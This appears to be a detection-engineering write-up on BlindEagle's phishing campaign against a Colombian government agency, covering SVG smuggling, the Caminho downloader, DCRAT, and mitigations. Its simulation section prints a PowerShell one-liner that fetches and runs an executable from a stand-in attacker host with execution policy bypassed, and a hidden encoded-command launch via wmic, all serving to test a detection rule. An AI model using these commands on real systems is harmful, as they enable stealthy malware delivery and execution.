BlindEagle Targets Colombian Government Agency with Caminho and DCRAT

Summary

BlindEagle ran a spear-phishing operation targeting a Colombian government agency, delivering a weaponized SVG attachment that initiated a JavaScript-to-PowerShell execution chain. That sequence pulled down a downloader dubbed Caminho, which then fetched the open-source DCRAT remote access trojan hosted on Discord. The final stage used process hollowing into MSBuild.exe and applied multiple evasion methods to reduce detection.

Investigation

Zscaler ThreatLabz analyzed the infection flow and reported an SVG smuggling approach, several tiers of obfuscated JavaScript, a WMI-triggered PowerShell command, and Caminho delivery through a Discord-hosted URL. The investigation also associated the supporting infrastructure with Swedish IP addresses and a dynamic DNS provider (ydns.eu).

Mitigation

Apply tighter controls for inbound email attachments—especially SVG content—and enforce content disarm/inspection for embedded scripts. Use web proxy policies to restrict access to suspicious file-hosting endpoints, including Discord file URLs used for malware delivery. Monitor for unusual PowerShell and WMI execution patterns, and enforce application allowlisting policies covering MSBuild.exe usage.

Response

Response

Trigger alerts for the malicious SVG artifact, the referenced JavaScript filename, and downloads reaching the Discord URL. Hunt for in-memory or on-disk traces of Caminho and DCRAT, evidence of MSBuild.exe process hollowing, and persistence via registry changes or scheduled tasks. Quarantine impacted endpoints and block the identified C2 domain.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  The threat actor (BlindEagle) uses WMI to spawn a PowerShell process that downloads the “Caminho” payload from a remote C2 server and executes it in memory. By leveraging wmic.exe with the process call create method, the attacker can run PowerShell without interacting with a user session, making the activity stealthy. The command line contains the literal word “powershell”, which satisfies the detection rule’s condition.

  1. Stage 1 – Prepare the malicious PowerShell one‑liner:

     $url = "http://malicious.example.com/caminho.exe"
     $out = "$env:TEMPcaminho.exe"
     Invoke-WebRequest -Uri $url -OutFile $out; PowerShell -ExecutionPolicy Bypass -File $out

  2. Stage 2 – Execute via WMI:

     $psCmd = 'powershell -nop -w hidden -enc <base64-encoded-payload>'
     wmic process call create "$psCmd"

  The presence of powershell in the CommandLine field of the Sysmon Event 1 generated by the wmic child process will trigger the rule.

• Regression Test Script:

  # BlindEagle PowerShell via WMI simulation
  # ----------------------------------------------------------------------
  # 1. Define malicious payload (for test we use a benign echo command)
  $payload = 'Write-Host "Simulated Caminho execution"'
  $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
  
  # 2. Build the PowerShell command line that includes the literal word "powershell"
  $psCommand = "powershell -NoProfile -EncodedCommand $encoded"
  
  # 3. Launch the command via WMI (wmic) to generate a Sysmon EventID 1
  $wmicCommand = "wmic process call create `"$psCommand`""
  Write-Host "Executing via WMI: $wmicCommand"
  Invoke-Expression $wmicCommand
  
  # 4. Optional: Log to console for verification
  Write-Host "Simulation complete. Verify detection in SIEM."

• Cleanup Commands:

  # Remove any temporary files (none created in this simulation)
  # Kill any lingering wmic or PowerShell processes started for the test
  Get-Process -Name wmic, powershell -ErrorAction SilentlyContinue | Stop-Process -Force
  Write-Host "Cleanup complete."